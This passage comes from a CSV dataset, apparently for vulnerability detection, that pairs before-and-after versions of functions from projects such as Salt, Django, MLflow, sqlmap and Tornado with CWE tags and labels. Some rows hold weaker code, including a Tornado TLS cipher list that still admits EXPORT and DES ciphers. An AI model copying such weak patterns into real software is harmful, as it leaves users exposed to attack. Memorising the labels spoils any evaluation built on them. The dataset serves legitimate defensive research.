,UNKNOWN,UNKNOWN,salt/client/api.py,1,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'expr_form' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'async'. Defaults to 'async' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runnner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specificed by fun:
        tgt: Pattern string specifying the targeted minions when the implied client is local
        expr_form: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        client = 'minion' #default to local minion client
        mode = cmd.get('mode', 'async') #default to 'async'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']: #master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:]) #strip prefix

        if not ('token' in cmd  or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd)):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result",CWE-259,saltstack/salt,4b325e493bf13744976821cffd81d294a55df1aa,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'expr_form' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'async'. Defaults to 'async' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runnner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specificed by fun:
        tgt: Pattern string specifying the targeted minions when the implied client is local
        expr_form: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        client = 'minion' #default to local minion client
        mode = cmd.get('mode', 'async') #default to 'async'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']: #master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:]) #strip prefix

        if not ('token' in cmd  or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd) ):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/sessions/tests/test_sessionmanager.py,0,"def co_add():
            sessions = []
            for kwargs in kwarg_list:
                kwargs.setdefault('type', 'notebook')
                session = yield self.sm.create_session(**kwargs)
                sessions.append(session)
            raise gen.Return(sessions)",,jupyter/notebook,4031f8ac5d35faa3b61729bc71ba5a1019058d1c,"def co_add():
            sessions = []
            for kwargs in kwarg_list:
                session = yield self.sm.create_session(**kwargs)
                sessions.append(session)
            raise gen.Return(sessions)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/bug639/tests.py,0,"def tearDown(self):
        """"""
        Make sure to delete the ""uploaded"" file to avoid clogging /tmp.
        """"""
        p = Photo.objects.get()
        p.image.delete(save=False)",CWE-Unknown,django/django,7899568e01fc9c68afe995fa71de915dd9fcdd76,"def tearDown(self):
        """"""
        Make sure to delete the ""uploaded"" file to avoid clogging /tmp.
        """"""
        p = Photo.objects.get()
        os.unlink(p.get_image_filename())"
,UNKNOWN,UNKNOWN,tests/evaluate/logging/test_evaluation_logging.py,1,"def test_incremental_logging_of_assessments():
    inputs = {""feature1"": 1.0, ""feature2"": 2.0}
    outputs = {""prediction"": 0.5}

    assessment1 = Assessment(
        name=""relevance"",
        value=0.9,
        source=AssessmentSource(source_type=AssessmentSourceType.HUMAN, source_id=""user_1""),
    )

    assessment2 = Assessment(
        name=""accuracy"",
        value=0.8,
        source=AssessmentSource(source_type=AssessmentSourceType.AI_JUDGE, source_id=""judge_1""),
    )

    assessment3 = Assessment(
        name=""error_assessment"",
        source=AssessmentSource(source_type=AssessmentSourceType.HUMAN, source_id=""user_2""),
        error_code=""E001"",
        error_message=""An error occurred during the assessment."",
    )

    def assert_assessments_equal(assessment, expected_assessment):
        assert assessment.name == expected_assessment.name
        assert assessment.boolean_value == expected_assessment.boolean_value
        assert assessment.numeric_value == expected_assessment.numeric_value
        assert assessment.string_value == expected_assessment.string_value
        assert assessment.metadata == expected_assessment.metadata
        assert assessment.source == expected_assessment.source
        assert assessment.error_code == expected_assessment.error_code
        assert assessment.error_message == expected_assessment.error_message

    with mlflow.start_run() as run:
        logged_evaluation = log_evaluation(inputs=inputs, outputs=outputs)

        log_assessments(evaluation_id=logged_evaluation.evaluation_id, assessments=assessment1)

        run_id = run.info.run_id
        retrieved_evaluation1 = get_evaluation(
            evaluation_id=logged_evaluation.evaluation_id, run_id=run_id
        )
        assert len(retrieved_evaluation1.assessments) == 1
        retrieved_assessment1 = retrieved_evaluation1.assessments[0]
        assert_assessments_equal(
            retrieved_assessment1,
            assessment1._to_entity(evaluation_id=logged_evaluation.evaluation_id),
        )

        log_assessments(evaluation_id=logged_evaluation.evaluation_id, assessments=assessment2)

        retrieved_evaluation2 = get_evaluation(
            evaluation_id=logged_evaluation.evaluation_id, run_id=run_id
        )
        assert len(retrieved_evaluation2.assessments) == 2
        for retrieved_assessment, expected_assessment in zip(
            retrieved_evaluation2.assessments, [assessment1, assessment2]
        ):
            assert_assessments_equal(
                retrieved_assessment,
                expected_assessment._to_entity(evaluation_id=logged_evaluation.evaluation_id),
            )

        log_assessments(evaluation_id=logged_evaluation.evaluation_id, assessments=assessment3)

        retrieved_evaluation3 = get_evaluation(
            evaluation_id=logged_evaluation.evaluation_id, run_id=run_id
        )
        assert len(retrieved_evaluation3.assessments) == 3
        for retrieved_assessment, expected_assessment in zip(
            retrieved_evaluation3.assessments, [assessment1, assessment2, assessment3]
        ):
            assert_assessments_equal(
                retrieved_assessment,
                expected_assessment._to_entity(evaluation_id=logged_evaluation.evaluation_id),
            )",CWE-703,mlflow/mlflow,354b4c385edf192d9223529d7913131c6a7a54d4,"def test_incremental_logging_of_assessments():
    inputs = {""feature1"": 1.0, ""feature2"": 2.0}
    outputs = {""prediction"": 0.5}

    assessment1 = Assessment(
        name=""relevance"",
        value=0.9,
        source=AssessmentSource(source_type=AssessmentSourceType.HUMAN, source_id=""user_1""),
    )

    assessment2 = Assessment(
        name=""accuracy"",
        value=0.8,
        source=AssessmentSource(source_type=AssessmentSourceType.AI_JUDGE, source_id=""judge_1""),
    )

    def assert_assessments_equal(assessment, expected_assessment):
        assert assessment.name == expected_assessment.name
        assert assessment.boolean_value == expected_assessment.boolean_value
        assert assessment.numeric_value == expected_assessment.numeric_value
        assert assessment.string_value == expected_assessment.string_value
        assert assessment.metadata == expected_assessment.metadata
        assert assessment.source == expected_assessment.source

    with mlflow.start_run() as run:
        logged_evaluation = log_evaluation(inputs=inputs, outputs=outputs)

        log_assessments(evaluation_id=logged_evaluation.evaluation_id, assessments=assessment1)

        run_id = run.info.run_id
        retrieved_evaluation1 = get_evaluation(
            evaluation_id=logged_evaluation.evaluation_id, run_id=run_id
        )
        assert len(retrieved_evaluation1.assessments) == 1
        retrieved_assessment1 = retrieved_evaluation1.assessments[0]
        assert_assessments_equal(
            retrieved_assessment1,
            assessment1._to_entity(evaluation_id=logged_evaluation.evaluation_id),
        )

        log_assessments(evaluation_id=logged_evaluation.evaluation_id, assessments=assessment2)

        retrieved_evaluation2 = get_evaluation(
            evaluation_id=logged_evaluation.evaluation_id, run_id=run_id
        )
        assert len(retrieved_evaluation2.assessments) == 2
        for retrieved_assessment, expected_assessment in zip(
            retrieved_evaluation2.assessments, [assessment1, assessment2]
        ):
            assert_assessments_equal(
                retrieved_assessment,
                expected_assessment._to_entity(evaluation_id=logged_evaluation.evaluation_id),
            )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/microsoft/azure/src/airflow/providers/microsoft/azure/operators/adx.py,0,"def execute(self, context: Context) -> KustoResultTable | str:
        """"""
        Run KQL Query on Azure Data Explorer (Kusto).

        Returns `PrimaryResult` of Query v2 HTTP response contents.

        https://docs.microsoft.com/en-us/azure/kusto/api/rest/response2
        """"""
        response = self.hook.run_query(self.query, self.database, self.options)
        # TODO: Remove this after minimum Airflow version is 3.0
        if conf.getboolean(""core"", ""enable_xcom_pickling"", fallback=False):
            return response.primary_results[0]
        return str(response.primary_results[0])",CWE-Unknown,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def execute(self, context: Context) -> KustoResultTable | str:
        """"""
        Run KQL Query on Azure Data Explorer (Kusto).

        Returns `PrimaryResult` of Query v2 HTTP response contents.

        https://docs.microsoft.com/en-us/azure/kusto/api/rest/response2
        """"""
        response = self.hook.run_query(self.query, self.database, self.options)
        # TODO: Remove this after minimum Airflow version is 3.0
        if conf.getboolean(""core"", ""enable_xcom_pickling"", fallback=False):
            return response.primary_results[0]
        else:
            return str(response.primary_results[0])"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/timeout.py,0,"def timeout_handler(_dummy1: t.Any, _dummy2: t.Any) -> None:
        """"""Runs when SIGUSR1 is received.""""""
        test_timeout.write(args)

        raise TimeoutExpiredError(f'Tests aborted after exceeding the {timeout.duration} minute time limit.')",,ansible/ansible,ac5ed40a212d25ab7f3128405a1217a5c421a116,"def timeout_handler(_dummy1: t.Any, _dummy2: t.Any) -> None:
        """"""Runs when SIGUSR1 is received.""""""
        test_timeout.write(args)

        raise TimeoutExpiredError(f'Tests aborted after exceeding the {timeout.duration} minute time limit.')"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_tuned.py,1,"def test_none():
    """""" """"""
    ret = {
        ""pid"": 12345,
        ""retcode"": 1,
        ""stderr"": (
            ""stderr: Cannot talk to Tuned daemon via DBus. Is Tuned daemon running?""
        ),
        ""stdout"": ""No current active profile."",
    }
    mock_cmd = MagicMock(return_value=ret)
    with patch.dict(tuned.__salt__, {""cmd.run_all"": mock_cmd}):
        assert tuned.active() == ""none""",CWE-703,saltstack/salt,a47eeb909cdac563a8cd44fff06fecea27213023,"def test_none():
    """""" """"""
    ret = {
        ""pid"": 12345,
        ""retcode"": 1,
        ""stderr"": (
            ""stderr: Cannot talk to Tuned daemon via DBus. Is Tuned daemon running?""
        ),
        ""stdout"": ""No current active profile."",
    }
    mock_cmd = MagicMock(return_value=ret)
    with patch.dict(tuned.__salt__, {""cmd.run_all"": mock_cmd}):
        assert tuned.active() == ""none"""
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pipelines/step.py,0,"def run(self, output_directory: str):
        """"""
        Executes the step by running common setup operations and invoking
        step-specific code (as defined in ``_run()``).

        :param output_directory: String file path to the directory where step
                                 outputs should be stored.
        :return: None
        """"""
        _logger.info(f""Running step {self.name}..."")
        start_timestamp = time.time()
        self._initialize_databricks_spark_connection_and_hooks_if_applicable()
        try:
            self._update_status(status=StepStatus.RUNNING, output_directory=output_directory)
            self._validate_and_apply_step_config()
            self.step_card = self._run(output_directory=output_directory)
            self._update_status(status=StepStatus.SUCCEEDED, output_directory=output_directory)
        except Exception:
            self._update_status(status=StepStatus.FAILED, output_directory=output_directory)
            self.step_card = FailureCard(
                pipeline_name=self.pipeline_name,
                step_name=self.name,
                failure_traceback=traceback.format_exc(),
                output_directory=output_directory,
            )
            raise
        finally:
            self._serialize_card(start_timestamp, output_directory)",,mlflow/mlflow,74730dcfdfc2a56a394e8485254f5fa38845fd38,"def run(self, output_directory: str):
        """"""
        Executes the step by running common setup operations and invoking
        step-specific code (as defined in ``_run()``).

        :param output_directory: String file path to the directory where step
                                 outputs should be stored.
        :return: None
        """"""
        _logger.info(f""Running step {self.name}..."")
        start_timestamp = time.time()
        self._initialize_databricks_spark_connection_and_hooks_if_applicable()
        try:
            self._update_status(status=StepStatus.RUNNING, output_directory=output_directory)
            self._validate_and_apply_step_config()
            self.step_card = self._run(output_directory=output_directory)
            self._update_status(status=StepStatus.SUCCEEDED, output_directory=output_directory)
        except Exception:
            self._update_status(status=StepStatus.FAILED, output_directory=output_directory)
            self.step_card = FailureCard(
                pipeline_name=self.pipeline_name,
                step_name=self.name,
                failure_traceback=traceback.format_exc(),
            )
            raise
        finally:
            self._serialize_card(start_timestamp, output_directory)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/basic.py,0,"def processResponse(page, responseHeaders, code=None, status=None):
    kb.processResponseCounter += 1

    page = page or """"

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
    else:
        kb.tableFrom = None

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning(""parsed DBMS error message: '%s'"" % msg.rstrip('.'))

    if kb.identYwaf:
        rawResponse = ""%s %s %s\n%s\n%s"" % (_http_client.HTTPConnection._http_vsn_str, code or """", status or """", getUnicode("""".join(responseHeaders.headers if responseHeaders else [])), page)

        identYwaf.non_blind.clear()
        if identYwaf.non_blind_check(rawResponse, silent=True):
            for waf in identYwaf.non_blind:
                if waf not in kb.identifiedWafs:
                    kb.identifiedWafs.add(waf)
                    errMsg = ""WAF/IPS identified as '%s'"" % identYwaf.format_name(waf)
                    singleTimeLogMessage(errMsg, logging.CRITICAL)

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    else:
                        msg = ""do you want to automatically adjust the value of '%s'? [y/N]"" % name

                        if not readInput(msg, default='N', boolean=True):
                            continue

                        conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub(r""(?i)(%s=)[^&]+"" % re.escape(name), r""\g<1>%s"" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])

    if not kb.browserVerification and re.search(r""(?i)browser.?verification"", page or """"):
        kb.browserVerification = True
        warnMsg = ""potential browser verification protection mechanism detected""
        if re.search(r""(?i)CloudFlare"", page):
            warnMsg += "" (CloudFlare)""
        singleTimeWarnMessage(warnMsg)

    if not kb.captchaDetected and re.search(r""(?i)captcha"", page or """"):
        for match in re.finditer(r""(?si)<form.+?</form>"", page):
            if re.search(r""(?i)captcha"", match.group(0)):
                kb.captchaDetected = True
                warnMsg = ""potential CAPTCHA protection mechanism detected""
                if re.search(r""(?i)<title>[^<]*CloudFlare"", page):
                    warnMsg += "" (CloudFlare)""
                singleTimeWarnMessage(warnMsg)
                break

    if re.search(BLOCKED_IP_REGEX, page):
        warnMsg = ""it appears that you have been blocked by the target server""
        singleTimeWarnMessage(warnMsg)",,sqlmapproject/sqlmap,4857f36883704b7af32ce4111309b2febd501fbb,"def processResponse(page, responseHeaders, code=None, status=None):
    kb.processResponseCounter += 1

    page = page or """"

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
    else:
        kb.tableFrom = None

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning(""parsed DBMS error message: '%s'"" % msg.rstrip('.'))

    if kb.identYwaf:
        rawResponse = ""%s %s %s\n%s\n%s"" % (_http_client.HTTPConnection._http_vsn_str, code or """", status or """", """".join(responseHeaders.headers if responseHeaders else []), page)

        identYwaf.non_blind.clear()
        if identYwaf.non_blind_check(rawResponse, silent=True):
            for waf in identYwaf.non_blind:
                if waf not in kb.identifiedWafs:
                    kb.identifiedWafs.add(waf)
                    errMsg = ""WAF/IPS identified as '%s'"" % identYwaf.format_name(waf)
                    singleTimeLogMessage(errMsg, logging.CRITICAL)

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    else:
                        msg = ""do you want to automatically adjust the value of '%s'? [y/N]"" % name

                        if not readInput(msg, default='N', boolean=True):
                            continue

                        conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub(r""(?i)(%s=)[^&]+"" % re.escape(name), r""\g<1>%s"" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])

    if not kb.browserVerification and re.search(r""(?i)browser.?verification"", page or """"):
        kb.browserVerification = True
        warnMsg = ""potential browser verification protection mechanism detected""
        if re.search(r""(?i)CloudFlare"", page):
            warnMsg += "" (CloudFlare)""
        singleTimeWarnMessage(warnMsg)

    if not kb.captchaDetected and re.search(r""(?i)captcha"", page or """"):
        for match in re.finditer(r""(?si)<form.+?</form>"", page):
            if re.search(r""(?i)captcha"", match.group(0)):
                kb.captchaDetected = True
                warnMsg = ""potential CAPTCHA protection mechanism detected""
                if re.search(r""(?i)<title>[^<]*CloudFlare"", page):
                    warnMsg += "" (CloudFlare)""
                singleTimeWarnMessage(warnMsg)
                break

    if re.search(BLOCKED_IP_REGEX, page):
        warnMsg = ""it appears that you have been blocked by the target server""
        singleTimeWarnMessage(warnMsg)"
,UNKNOWN,UNKNOWN,tornado/simple_httpclient.py,1,"def _create_stream(self, addrinfo):
        af = addrinfo[0][0]
        if self.parsed.scheme == ""https"":
            ssl_options = {}
            if self.request.validate_cert:
                ssl_options[""cert_reqs""] = ssl.CERT_REQUIRED
            if self.request.ca_certs is not None:
                ssl_options[""ca_certs""] = self.request.ca_certs
            else:
                ssl_options[""ca_certs""] = _DEFAULT_CA_CERTS
            if self.request.client_key is not None:
                ssl_options[""keyfile""] = self.request.client_key
            if self.request.client_cert is not None:
                ssl_options[""certfile""] = self.request.client_cert

            # SSL interoperability is tricky.  We want to disable
            # SSLv2 for security reasons; it wasn't disabled by default
            # until openssl 1.0.  The best way to do this is to use
            # the SSL_OP_NO_SSLv2, but that wasn't exposed to python
            # until 3.2.  Python 2.7 adds the ciphers argument, which
            # can also be used to disable SSLv2.  As a last resort
            # on python 2.6, we set ssl_version to TLSv1.  This is
            # more narrow than we'd like since it also breaks
            # compatibility with servers configured for SSLv3 only,
            # but nearly all servers support both SSLv3 and TLSv1:
            # http://blog.ivanristic.com/2011/09/ssl-survey-protocol-support.html
            if sys.version_info >= (2, 7):
                # In addition to disabling SSLv2, we also exclude certain
                # classes of insecure ciphers.
                ssl_options[""ciphers""] = ""DEFAULT:!SSLv2:!EXPORT:!DES""
            else:
                # This is really only necessary for pre-1.0 versions
                # of openssl, but python 2.6 doesn't expose version
                # information.
                ssl_options[""ssl_version""] = ssl.PROTOCOL_TLSv1

            return SSLIOStream(socket.socket(af),
                               io_loop=self.io_loop,
                               ssl_options=ssl_options,
                               max_buffer_size=self.max_buffer_size)
        else:
            return IOStream(socket.socket(af),
                            io_loop=self.io_loop,
                            max_buffer_size=self.max_buffer_size)",CWE-327,tornadoweb/tornado,d2226ff81b566d6af3df7da6a6461cf6a8356bc3,"def _create_stream(self, addrinfo):
        af = addrinfo[0][0]
        if self.parsed.scheme == ""https"":
            ssl_options = {}
            if self.request.validate_cert:
                ssl_options[""cert_reqs""] = ssl.CERT_REQUIRED
            if self.request.ca_certs is not None:
                ssl_options[""ca_certs""] = self.request.ca_certs
            else:
                ssl_options[""ca_certs""] = _DEFAULT_CA_CERTS
            if self.request.client_key is not None:
                ssl_options[""keyfile""] = self.request.client_key
            if self.request.client_cert is not None:
                ssl_options[""certfile""] = self.request.client_cert

            # SSL interoperability is tricky.  We want to disable
            # SSLv2 for security reasons; it wasn't disabled by default
            # until openssl 1.0.  The best way to do this is to use
            # the SSL_OP_NO_SSLv2, but that wasn't exposed to python
            # until 3.2.  Python 2.7 adds the ciphers argument, which
            # can also be used to disable SSLv2.  As a last resort
            # on python 2.6, we set ssl_version to TLSv1.  This is
            # more narrow than we'd like since it also breaks
            # compatibility with servers configured for SSLv3 only,
            # but nearly all servers support both SSLv3 and TLSv1:
            # http://blog.ivanristic.com/2011/09/ssl-survey-protocol-support.html
            if sys.version_info >= (2, 7):
                ssl_options[""ciphers""] = ""DEFAULT:!SSLv2""
            else:
                # This is really only necessary for pre-1.0 versions
                # of openssl, but python 2.6 doesn't expose version
                # information.
                ssl_options[""ssl_version""] = ssl.PROTOCOL_TLSv1

            return SSLIOStream(socket.socket(af),
                               io_loop=self.io_loop,
                               ssl_options=ssl_options,
                               max_buffer_size=self.max_buffer_size)
        else:
            return IOStream(socket.socket(af),
                            io_loop=self.io_loop,
                            max_buffer_size=self.max_buffer_size)"
,UNKNOWN,UNKNOWN,lib/ansible/executor/module_common.py,1,"def _find_module_utils(module_name, b_module_data, module_path, module_args, task_vars, module_compression, async_timeout, become,
                       become_method, become_user, become_password, environment):
    """"""
    Given the source of the module, convert it to a Jinja2 template to insert
    module code and return whether it's a new or old style module.
    """"""
    module_substyle = module_style = 'old'

    # module_style is something important to calling code (ActionBase).  It
    # determines how arguments are formatted (json vs k=v) and whether
    # a separate arguments file needs to be sent over the wire.
    # module_substyle is extra information that's useful internally.  It tells
    # us what we have to look to substitute in the module files and whether
    # we're using module replacer or ansiballz to format the module itself.
    if _is_binary(b_module_data):
        module_substyle = module_style = 'binary'
    elif REPLACER in b_module_data:
        # Do REPLACER before from ansible.module_utils because we need make sure
        # we substitute ""from ansible.module_utils basic"" for REPLACER
        module_style = 'new'
        module_substyle = 'python'
        b_module_data = b_module_data.replace(REPLACER, b'from ansible.module_utils.basic import *')
    elif b'from ansible.module_utils.' in b_module_data:
        module_style = 'new'
        module_substyle = 'python'
    elif REPLACER_WINDOWS in b_module_data or re.search(b'#Requires \-Module', b_module_data, re.IGNORECASE):
        module_style = 'new'
        module_substyle = 'powershell'
    elif REPLACER_JSONARGS in b_module_data:
        module_style = 'new'
        module_substyle = 'jsonargs'
    elif b'WANT_JSON' in b_module_data:
        module_substyle = module_style = 'non_native_want_json'

    shebang = None
    # Neither old-style, non_native_want_json nor binary modules should be modified
    # except for the shebang line (Done by modify_module)
    if module_style in ('old', 'non_native_want_json', 'binary'):
        return b_module_data, module_style, shebang

    output = BytesIO()
    py_module_names = set()

    if module_substyle == 'python':
        params = dict(ANSIBLE_MODULE_ARGS=module_args,)
        python_repred_params = repr(json.dumps(params))

        try:
            compression_method = getattr(zipfile, module_compression)
        except AttributeError:
            display.warning(u'Bad module compression string specified: %s.  Using ZIP_STORED (no compression)' % module_compression)
            compression_method = zipfile.ZIP_STORED

        lookup_path = os.path.join(C.DEFAULT_LOCAL_TMP, 'ansiballz_cache')
        cached_module_filename = os.path.join(lookup_path, ""%s-%s"" % (module_name, module_compression))

        zipdata = None
        # Optimization -- don't lock if the module has already been cached
        if os.path.exists(cached_module_filename):
            display.debug('ANSIBALLZ: using cached module: %s' % cached_module_filename)
            zipdata = open(cached_module_filename, 'rb').read()
        else:
            if module_name in action_write_locks.action_write_locks:
                display.debug('ANSIBALLZ: Using lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[module_name]
            else:
                # If the action plugin directly invokes the module (instead of
                # going through a strategy) then we don't have a cross-process
                # Lock specifically for this module.  Use the ""unexpected
                # module"" lock instead
                display.debug('ANSIBALLZ: Using generic lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[None]

            display.debug('ANSIBALLZ: Acquiring lock')
            with lock:
                display.debug('ANSIBALLZ: Lock acquired: %s' % id(lock))
                # Check that no other process has created this while we were
                # waiting for the lock
                if not os.path.exists(cached_module_filename):
                    display.debug('ANSIBALLZ: Creating module')
                    # Create the module zip data
                    zipoutput = BytesIO()
                    zf = zipfile.ZipFile(zipoutput, mode='w', compression=compression_method)
                    # Note: If we need to import from release.py first,
                    # remember to catch all exceptions: https://github.com/ansible/ansible/issues/16523
                    zf.writestr('ansible/__init__.py',
                                b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n__version__=""' +
                                to_bytes(__version__) + b'""\n__author__=""' +
                                to_bytes(__author__) + b'""\n')
                    zf.writestr('ansible/module_utils/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n')

                    zf.writestr('ansible_module_%s.py' % module_name, b_module_data)

                    py_module_cache = {('__init__',): (b'', '[builtin]')}
                    recursive_finder(module_name, b_module_data, py_module_names, py_module_cache, zf)
                    zf.close()
                    zipdata = base64.b64encode(zipoutput.getvalue())

                    # Write the assembled module to a temp file (write to temp
                    # so that no one looking for the file reads a partially
                    # written file)
                    if not os.path.exists(lookup_path):
                        # Note -- if we have a global function to setup, that would
                        # be a better place to run this
                        os.makedirs(lookup_path)
                    display.debug('ANSIBALLZ: Writing module')
                    with open(cached_module_filename + '-part', 'wb') as f:
                        f.write(zipdata)

                    # Rename the file into its final position in the cache so
                    # future users of this module can read it off the
                    # filesystem instead of constructing from scratch.
                    display.debug('ANSIBALLZ: Renaming module')
                    os.rename(cached_module_filename + '-part', cached_module_filename)
                    display.debug('ANSIBALLZ: Done creating module')

            if zipdata is None:
                display.debug('ANSIBALLZ: Reading module after lock')
                # Another process wrote the file while we were waiting for
                # the write lock.  Go ahead and read the data from disk
                # instead of re-creating it.
                try:
                    zipdata = open(cached_module_filename, 'rb').read()
                except IOError:
                    raise AnsibleError('A different worker process failed to create module file. '
                                       'Look at traceback for that process for debugging information.')
        zipdata = to_text(zipdata, errors='surrogate_or_strict')

        shebang, interpreter = _get_shebang(u'/usr/bin/python', task_vars)
        if shebang is None:
            shebang = u'#!/usr/bin/python'

        # Enclose the parts of the interpreter in quotes because we're
        # substituting it into the template as a Python string
        interpreter_parts = interpreter.split(u' ')
        interpreter = u""'{0}'"".format(u""', '"".join(interpreter_parts))

        now = datetime.datetime.utcnow()
        output.write(to_bytes(ACTIVE_ANSIBALLZ_TEMPLATE % dict(
            zipdata=zipdata,
            ansible_module=module_name,
            params=python_repred_params,
            shebang=shebang,
            interpreter=interpreter,
            coding=ENCODING_STRING,
            year=now.year,
            month=now.month,
            day=now.day,
            hour=now.hour,
            minute=now.minute,
            second=now.second,
        )))
        b_module_data = output.getvalue()

    elif module_substyle == 'powershell':
        # Powershell/winrm don't actually make use of shebang so we can
        # safely set this here.  If we let the fallback code handle this
        # it can fail in the presence of the UTF8 BOM commonly added by
        # Windows text editors
        shebang = u'#!powershell'

        exec_manifest = dict(
            module_entry=to_text(base64.b64encode(b_module_data)),
            powershell_modules=dict(),
            module_args=module_args,
            actions=['exec'],
            environment=environment
        )

        exec_manifest['exec'] = to_text(base64.b64encode(to_bytes(leaf_exec)))

        if async_timeout > 0:
            exec_manifest[""actions""].insert(0, 'async_watchdog')
            exec_manifest[""async_watchdog""] = to_text(base64.b64encode(to_bytes(async_watchdog)))
            exec_manifest[""actions""].insert(0, 'async_wrapper')
            exec_manifest[""async_wrapper""] = to_text(base64.b64encode(to_bytes(async_wrapper)))
            exec_manifest[""async_jid""] = str(random.randint(0, 999999999999))
            exec_manifest[""async_timeout_sec""] = async_timeout

        if become and become_method == 'runas':
            exec_manifest[""actions""].insert(0, 'become')
            exec_manifest[""become_user""] = become_user
            exec_manifest[""become_password""] = become_password
            exec_manifest[""become""] = to_text(base64.b64encode(to_bytes(become_wrapper)))

        lines = b_module_data.split(b'\n')
        module_names = set()

        requires_module_list = re.compile(to_bytes(r'(?i)^#\s*requires\s+\-module(?:s?)\s*(Ansible\.ModuleUtils\..+)'))

        for line in lines:
